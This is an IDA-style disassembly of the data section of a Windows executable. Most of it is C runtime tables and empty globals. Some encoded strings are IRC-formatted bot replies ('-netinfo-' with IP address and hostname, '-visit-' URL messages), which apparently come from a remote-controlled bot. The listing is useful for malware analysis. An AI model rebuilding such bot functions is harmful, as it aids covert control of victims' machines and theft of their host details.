aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
		align 10h
dword_43A170	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A1B4	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A1B8	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A1BC	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A1C4	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A1D4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A204	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 10h
dword_43A230	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A24C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43A288	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A2A4	dd 2A2F2Ah, 2 dup(0)	; DATA XREF: sub_41ADB5+3Bo
dword_43A2B0	dd 5FF0C395h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A2C0	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A2CC	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A2D8	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A2DC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A2F0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A2F4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A300	dd offset off_43A300	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A304	dd offset off_43A300	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A318
		dd offset dword_43A318
dword_43A310	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A318	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A308o
					; ___:0043A30Co
off_43C320	dd offset off_43A300	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C324	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C328	dd offset word_43C332	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C32C	dd offset word_43C332	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C332	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C328o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C534	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43C538	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43C540	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43C544	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43C548	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43C550	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43C554	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43C560	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C640	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43C644	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C7A8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43C7B0	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43C7B8	dd 14h			; DATA XREF: sub_421624+2o
off_43C7BC	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C29Ch, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43C890	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43C8A0	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43C8B8	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43C8C4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43C8D0	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43C8D4	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43C8D8	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43C8DC	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43C8E0	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43C8E4	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43C8F4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43C8F8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43C8FC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43C970	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43C974	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43C978	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43C97C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43C980	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43C988	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43C98C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43384Ch
		dd 0FFh, 427960h
off_43CA18	dd offset dword_4DB5E0	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DB5E0
		dd 101h
dword_43CA28	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43CA38	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA58	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA88	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43CC98	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43CCA0	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43CCA8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43CCC0	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCD8	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43CCDC	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43CCE0	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43CCE4	dd offset dword_545350	; DATA XREF: ___:off_43CD64o
		dd 0Fh dup(0)
off_43CD24	dd offset dword_544450	; DATA XREF: ___:off_43CD68o
		dd 0Fh dup(0)
off_43CD64	dd offset off_43CCE4	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43CD68	dd offset off_43CD24	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43CD70	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43CD74	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43CD78	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43CD80	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43CD84	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43CD88	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43CD8C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43CDBC	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43CDC0	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43CDF8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43CF58	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D0B4	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D0CC	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D0EC	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D10C	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D130	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D150	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D158	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D160	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D178	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43DCE0	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43DEE0	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43DEE4	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43DEE8	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43DEEC	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43DEF0	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43DEF4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43DEF8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
dword_43DEFC	dd 1E15h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043378Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437A78o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_4384E8o
dword_457444	dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438354o
dword_4B5248	dd 56A6h dup(0)
dword_4CACE0	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CACE4	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CACE8	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CACEC	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CAD6C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CADAC	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CAE3C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CAE40	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CAE50	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CAE54	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CAE58	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CAE5C	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CAE60	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CAE64	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CAE68	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CAE6C	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CAE70	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CAE74	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CAE78	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CAE7C	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CAE80	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CAE84	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CAE88	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CAE8C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CAE90	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CAE94	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CAE98	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CAE9C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CAEA0	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CAEA4	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CAEA8	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CAEAC	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CAEB0	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CAEB4	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CAEB8	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CAEBC	dd 0			; DATA XREF: sub_409B12+934w
dword_4CAEC0	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CAEC4	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CAEC8	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CAECC	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CAED0	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CAED4	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CAED8	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CAEDC	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CAEE0	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CAEE4	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CAEE8	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CAEEC	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CAEF0	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CAEF4	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CAEF8	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CAEFC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CAF00	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CAF04	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CAF08	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CAF0C	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CAF10	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CAF14	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CAF18	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CAF1C	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CAF20	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CAF24	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CAF28	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CAF2C	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CAF30	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CAF34	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CAF38	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CAF3C	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CAF40	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CAF44	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CAF48	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CAF4C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CAF50	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CAF54	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CAF58	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CAF5C	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CAF60	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CAF64	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CAF68	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CAF6C	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CAF70	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CAF74	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CAF78	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CAF7C	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CAF80	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CAF84	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CAF88	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CAF8C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CAF90	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CAF94	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4CAF98	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CAF9C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CAFA0	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CAFA4	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CAFA8	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CAFAC	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CAFB0	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CAFB4	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CAFB8	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CAFBC	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CAFC0	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CAFC4	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CAFC8	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CAFCC	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CAFD0	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CAFD4	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CAFD8	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CAFDC	dd 0			; DATA XREF: sub_409B12+112w
dword_4CAFE0	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CAFE4	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
